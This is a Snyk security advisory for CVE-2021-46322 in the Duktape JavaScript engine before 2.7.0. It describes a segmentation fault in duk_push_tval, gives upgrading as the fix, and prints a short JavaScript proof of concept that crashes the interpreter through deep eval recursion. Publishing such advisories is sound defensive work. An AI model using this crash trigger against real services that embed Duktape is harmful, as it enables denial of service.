Memory Allocation with Excessive Size Value Affecting svaarala/duktape package, versions [,2.7.0)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-UNMANAGED-SVAARALADUKTAPE-9563913
- published28 Mar 2025
- disclosed27 Mar 2025
- creditHopeF1y
Introduced: 27 Mar 2025
NewCVE-2021-46322 (opens in a new tab)How to fix?
Upgrade svaarala/duktape to version 2.7.0 or higher.
Overview
Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value due to a segmentation fault in the duk_push_tval function.
PoC
function JSEtest() {
var src = [];
var i;
src.push('(function test() {');
for (i = 0; i < 1e4; i++) {
src.push('var x' + i + ' = ' + i + ';');
}
src.push('var arguments = test(); return "dummy"; })');
src = src.join('');
var f = eval(src)(src);
try {
f();
} catch (e) {
print(e.name + ': ' + e.message);
}
print('still here');
}
try {
JSEtest();
} catch (e) {
print(e.stack || e);
}